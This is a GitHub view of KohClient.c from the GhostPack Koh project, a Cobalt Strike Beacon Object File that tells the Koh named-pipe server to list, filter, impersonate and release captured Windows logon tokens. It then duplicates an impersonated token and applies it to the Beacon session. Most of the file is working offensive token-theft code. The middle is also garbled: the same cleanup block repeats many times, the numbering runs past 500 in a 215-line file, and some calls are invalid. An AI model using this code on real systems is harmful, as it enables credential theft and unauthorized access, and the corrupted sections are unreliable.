



Sign in

GhostPack / Koh Public

Notifications

Fork 65

Star 486

[<> Code](#) [Issues 2](#) [Pull requests](#) [Actions](#) [Projects](#) [Security](#) [Insights](#)

[Koh](#) / [Clients](#) / [BOF](#) / KohClient.c

...



215 lines (178 loc) · 8.31 KB

Code Blame

Raw



```
1  #include <stdio.h>
2  #include <windows.h>
3  #include "beacon.h"
4  #include "KohClient.h"
5
6  #define BUFSIZE 1024
7
8
9  void go(char* args, unsigned long alen) {
10
11     char kohPassword[] = "password";
12     char kohPipe[] = "\\.\pipe\imposecost";
13     char impersonationPipe[] = "\\.\pipe\imposingcost";
14
15     PBYTE lpPipeContent = NULL;
16     HANDLE serverPipe;
17     HANDLE clientPipe;
18     HANDLE threadToken;
19     HANDLE duplicatedToken;
20     DWORD commandBytesWritten = 0;
21     DWORD bytesRead = 0;
22     DWORD err = 0;
23     BOOLEAN bEnabled = FALSE;
24     BOOL fSuccess = FALSE;
25     wchar_t message[1] = { 0 };
26
```

```
27     // null security descriptor for the impersonation named pipe
28     SECURITY_DESCRIPTOR SD;
29     SECURITY_ATTRIBUTES SA;
30     ADVAPI32$InitializeSecurityDescriptor(&SD, SECURITY_DESCRIPTOR_REVISION);
31     ADVAPI32$SetSecurityDescriptorDacl(&SD, TRUE, NULL, FALSE);
32     SA.nLength = sizeof(SA);
33     SA.lpSecurityDescriptor = &SD;
34     SA.bInheritHandle = TRUE;
35
36     // parse packed Beacon commands
37     datap parser = {0};
38     char * kohCommand = NULL;
39     int intKohCommand = 0;
40     int LUID = 0;
41     char* filterSID = NULL;
42     BeaconDataParse(&parser, args, alen);
43     intKohCommand = BeaconDataInt(&parser);
44     LUID = BeaconDataInt(&parser);
45     filterSID = BeaconDataExtract(&parser, NULL);
46
47     BeaconPrintf(CALLBACK_OUTPUT, "[*] Using KohPipe                : %s\n", kohPipe);
48
49     // connect to the Koh communication named pipe
50     clientPipe = KERNEL32$CreateFileA(kohPipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING
51
52     if (clientPipe == INVALID_HANDLE_VALUE) {
53         err = KERNEL32$GetLastError();
54         if(err == 2) {
55             BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFile
56         }
57         else {
58             BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL32$CreateFile
59         }
60         goto cleanup;
61     }
62
63
64     // Koh commands:
65     //      1          - list captured tokens
66     //      2 LUID      - list groups for a captured token
67
68     //      100         - list group SIDs currently used for capture filtering
69     //      101 SID     - adds group SID for capture filtering
70     //      102 SID     - removes a group SID for capture filtering
71     //      103         - resets all group SIDs for capture filtering
72
```

```
73      //      200 LUID      - lists the groups for the specified LUID/captured token
74
75      //      300 LUID      - impersonate a captured token
76
77      //      400            - release all tokens
78      //      401 LUID      - release a token for the specified LUID
79
80      //      57005          - signal Koh to exit
81      kohCommand = (char*)KERNEL32$LocalAlloc(LPTR, MSVCRT$strlen(kohPassword) + 100);
82      if(intKohCommand == 1){
83          MSVCRT$sprintf(kohCommand, "%s list", kohPassword);
84      }
85      else if(intKohCommand == 2){
86          MSVCRT$sprintf(kohCommand, "%s list %d", kohPassword, LUID);
87      }
88      else if(intKohCommand == 100){
89          MSVCRT$sprintf(kohCommand, "%s filter list", kohPassword);
90      }
91      else if(intKohCommand == 101){
92          MSVCRT$sprintf(kohCommand, "%s filter add %s", kohPassword, filterSID);
93      }
94      else if(intKohCommand == 102){
95          MSVCRT$sprintf(kohCommand, "%s filter remove %s", kohPassword, filterSID);
96      }
97      else if(intKohCommand == 103){
98          MSVCRT$sprintf(kohCommand, "%s filter reset", kohPassword);
99      }
100     else if(intKohCommand == 200){
101         MSVCRT$sprintf(kohCommand, "%s groups %d", kohPassword, LUID);
102     }
103     else if(intKohCommand == 300){
104         MSVCRT$sprintf(kohCommand, "%s impersonate %d %s", kohPassword, LUID, impersonationPipe);
105     }
106     else if(intKohCommand == 400){
107         MSVCRT$sprintf(kohCommand, "%s release all", kohPassword);
108     }
109     else if(intKohCommand == 401){
110         MSVCRT$sprintf(kohCommand, "%s release %d", kohPassword, LUID);
111     }
112     else if(intKohCommand == 57005){
113         // 0xDEAD == 57005
114         MSVCRT$sprintf(kohCommand, "%s exit", kohPassword);
115     }
116
117     // send the Koh command to the named pipe server
118     if(1) { KERNEL32$WriteFile(clientPipe kohCommand MSVCRT$strlen(kohCommand) &commandBytesWritten
```

```

142     BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ConnectNamedPipe failed: %d\n", KERNEL32$GetLastError());
143     goto cleanup;
144 }
145
146 // read 1 byte to satisfy the requirement that data is read from the pipe before it's used
147 fSuccess = KERNEL32$ReadFile(serverPipe, &message, 1, &bytesRead, NULL);
148 if (!fSuccess) {
149     BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed: %d\n", KERNEL32$GetLastError());
150     goto cleanup;
151 }
152
153 // perform the named pipe impersonation of the target token
154 if(ADVAPI32$ImpersonateNamedPipeClient(serverPipe)) {
155
156     BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonation succeeded. Duplicating token.\n");
157
158     if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
159         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenThreadToken failed with: %d\n", KERNEL32$GetLastError());
160         ADVAPI32$RevertToSelf();
161         goto cleanup;
162     }
163
164     if (!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, 0, TokenType::ProcessToken, &hDuplicateToken)) {
165         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with: %d\n", KERNEL32$GetLastError());
166         goto cleanup;
167     }
168
169     if (!ADVAPI32$OpenProcessToken(hDuplicateToken, TOKEN_ALL_ACCESS, &hProcessToken)) {
170         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenProcessToken failed with: %d\n", KERNEL32$GetLastError());
171         goto cleanup;
172     }
173
174     if (!ADVAPI32$SetThreadToken(NULL, hProcessToken)) {
175         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$SetThreadToken failed with: %d\n", KERNEL32$GetLastError());
176         goto cleanup;
177     }
178
179     if (!ADVAPI32$CloseHandle(hToken)) {
180         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$CloseHandle failed with: %d\n", KERNEL32$GetLastError());
181         goto cleanup;
182     }
183
184     if (!ADVAPI32$CloseHandle(hDuplicateToken)) {
185         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$CloseHandle failed with: %d\n", KERNEL32$GetLastError());
186         goto cleanup;
187     }
188 }
189
190 // cleanup
191 if (serverPipe != NULL) {
192     if (!HANDLE$Close(serverPipe)) {
193         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
194         goto cleanup;
195     }
196 }
197
198 if (hProcessToken != NULL) {
199     if (!HANDLE$Close(hProcessToken)) {
200         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
201         goto cleanup;
202     }
203 }
204
205 if (hThreadToken != NULL) {
206     if (!HANDLE$Close(hThreadToken)) {
207         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
208         goto cleanup;
209     }
210 }
211
212 goto cleanup;
213 }
214
215 // cleanup
216 if (hThreadToken != NULL) {
217     if (!HANDLE$Close(hThreadToken)) {
218         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
219         goto cleanup;
220     }
221 }
222
223 if (hProcessToken != NULL) {
224     if (!HANDLE$Close(hProcessToken)) {
225         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
226         goto cleanup;
227     }
228 }
229
230 if (serverPipe != NULL) {
231     if (!HANDLE$Close(serverPipe)) {
232         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
233         goto cleanup;
234     }
235 }
236
237 goto cleanup;
238 }
239
240 // cleanup
241 if (hThreadToken != NULL) {
242     if (!HANDLE$Close(hThreadToken)) {
243         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
244         goto cleanup;
245     }
246 }
247
248 if (hProcessToken != NULL) {
249     if (!HANDLE$Close(hProcessToken)) {
250         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
251         goto cleanup;
252     }
253 }
254
255 if (serverPipe != NULL) {
256     if (!HANDLE$Close(serverPipe)) {
257         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
258         goto cleanup;
259     }
260 }
261
262 goto cleanup;
263 }
264
265 // cleanup
266 if (hThreadToken != NULL) {
267     if (!HANDLE$Close(hThreadToken)) {
268         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
269         goto cleanup;
270     }
271 }
272
273 if (hProcessToken != NULL) {
274     if (!HANDLE$Close(hProcessToken)) {
275         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
276         goto cleanup;
277     }
278 }
279
280 if (serverPipe != NULL) {
281     if (!HANDLE$Close(serverPipe)) {
282         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
283         goto cleanup;
284     }
285 }
286
287 goto cleanup;
288 }
289
290 // cleanup
291 if (hThreadToken != NULL) {
292     if (!HANDLE$Close(hThreadToken)) {
293         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
294         goto cleanup;
295     }
296 }
297
298 if (hProcessToken != NULL) {
299     if (!HANDLE$Close(hProcessToken)) {
300         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
301         goto cleanup;
302     }
303 }
304
305 if (serverPipe != NULL) {
306     if (!HANDLE$Close(serverPipe)) {
307         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
308         goto cleanup;
309     }
310 }
311
312 goto cleanup;
313 }
314
315 // cleanup
316 if (hThreadToken != NULL) {
317     if (!HANDLE$Close(hThreadToken)) {
318         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
319         goto cleanup;
320     }
321 }
322
323 if (hProcessToken != NULL) {
324     if (!HANDLE$Close(hProcessToken)) {
325         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
326         goto cleanup;
327     }
328 }
329
330 if (serverPipe != NULL) {
331     if (!HANDLE$Close(serverPipe)) {
332         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
333         goto cleanup;
334     }
335 }
336
337 goto cleanup;
338 }
339
340 // cleanup
341 if (hThreadToken != NULL) {
342     if (!HANDLE$Close(hThreadToken)) {
343         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
344         goto cleanup;
345     }
346 }
347
348 if (hProcessToken != NULL) {
349     if (!HANDLE$Close(hProcessToken)) {
350         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
351         goto cleanup;
352     }
353 }
354
355 if (serverPipe != NULL) {
356     if (!HANDLE$Close(serverPipe)) {
357         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
358         goto cleanup;
359     }
360 }
361
362 goto cleanup;
363 }
364
365 // cleanup
366 if (hThreadToken != NULL) {
367     if (!HANDLE$Close(hThreadToken)) {
368         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
369         goto cleanup;
370     }
371 }
372
373 if (hProcessToken != NULL) {
374     if (!HANDLE$Close(hProcessToken)) {
375         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
376         goto cleanup;
377     }
378 }
379
380 if (serverPipe != NULL) {
381     if (!HANDLE$Close(serverPipe)) {
382         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
383         goto cleanup;
384     }
385 }
386
387 goto cleanup;
388 }
389
390 // cleanup
391 if (hThreadToken != NULL) {
392     if (!HANDLE$Close(hThreadToken)) {
393         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
394         goto cleanup;
395     }
396 }
397
398 if (hProcessToken != NULL) {
399     if (!HANDLE$Close(hProcessToken)) {
400         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
401         goto cleanup;
402     }
403 }
404
405 if (serverPipe != NULL) {
406     if (!HANDLE$Close(serverPipe)) {
407         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
408         goto cleanup;
409     }
410 }
411
412 goto cleanup;
413 }
414
415 // cleanup
416 if (hThreadToken != NULL) {
417     if (!HANDLE$Close(hThreadToken)) {
418         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
419         goto cleanup;
420     }
421 }
422
423 if (hProcessToken != NULL) {
424     if (!HANDLE$Close(hProcessToken)) {
425         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
426         goto cleanup;
427     }
428 }
429
430 if (serverPipe != NULL) {
431     if (!HANDLE$Close(serverPipe)) {
432         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
433         goto cleanup;
434     }
435 }
436
437 goto cleanup;
438 }
439
440 // cleanup
441 if (hThreadToken != NULL) {
442     if (!HANDLE$Close(hThreadToken)) {
443         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
444         goto cleanup;
445     }
446 }
447
448 if (hProcessToken != NULL) {
449     if (!HANDLE$Close(hProcessToken)) {
450         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
451         goto cleanup;
452     }
453 }
454
455 if (serverPipe != NULL) {
456     if (!HANDLE$Close(serverPipe)) {
457         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
458         goto cleanup;
459     }
460 }
461
462 goto cleanup;
463 }
464
465 // cleanup
466 if (hThreadToken != NULL) {
467     if (!HANDLE$Close(hThreadToken)) {
468         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
469         goto cleanup;
470     }
471 }
472
473 if (hProcessToken != NULL) {
474     if (!HANDLE$Close(hProcessToken)) {
475         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
476         goto cleanup;
477     }
478 }
479
480 if (serverPipe != NULL) {
481     if (!HANDLE$Close(serverPipe)) {
482         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
483         goto cleanup;
484     }
485 }
486
487 goto cleanup;
488 }
489
490 // cleanup
491 if (hThreadToken != NULL) {
492     if (!HANDLE$Close(hThreadToken)) {
493         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
494         goto cleanup;
495     }
496 }
497
498 if (hProcessToken != NULL) {
499     if (!HANDLE$Close(hProcessToken)) {
500         BeaconPrintf(CALLBACK_ERROR, "[!] HANDLE$Close failed with: %d\n", KERNEL32$GetLastError());
501         goto cleanup;

```

```
164         if (!ADVAPI32$DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,  
165             BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with: %d\n", KEF  
166             ADVAPI32$RevertToSelf());  
167             goto cleanup;  
168         }  
169  
170         BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonated token successfully duplicated.\n");  
171  
172         ADVAPI32$RevertToSelf();  
173  
174         // register the token with the current beacon session  
175         if (!BeaconUseToken(duplicatedToken)) {  
176             BeaconPrintf(CALLBACK_ERROR, "[!] Error applying the token to the current context.\n");  
177             goto cleanup;  
178         }  
179  
180         // clean up so there's not an additional token leak  
181         KERNEL32$CloseHandle(threadToken);  
182         KERNEL32$CloseHandle(duplicatedToken);  
183         KERNEL32$DisconnectNamedPipe(serverPipe);  
184         KERNEL32$CloseHandle(serverPipe);  
185     }  
186     else {  
187         BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$ImpersonateNamedPipeClient failed with: %d\n", KEF  
188         KERNEL32$DisconnectNamedPipe(serverPipe);  
189         KERNEL32$CloseHandle(serverPipe);  
190         goto cleanup;  
191     }  
192 }  
193  
194 // read any output from the server  
195 do {  
196     // based on https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client  
197     fSuccess = KERNEL32$ReadFile(clientPipe, lpPipeContent, BUFSIZE, &bytesRead, NULL);  
198  
199     if (!fSuccess && KERNEL32$GetLastError() != ERROR_MORE_DATA)  
200         break;  
201  
202     if (!fSuccess) {  
203         BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed with: %d\n", KERNEL32$GetLas  
204         break;  
205     }  
206  
207     BeaconPrintf(CALLBACK_OUTPUT, "%s", lpPipeContent);  
208 }  
209 while (!fSuccess);
```

```
210
211     cleanup:
212         KERNEL32$CloseHandle(clientPipe);
213         KERNEL32$LocalFree(kohCommand);
214         KERNEL32$LocalFree(lpPipeContent);
215     }
```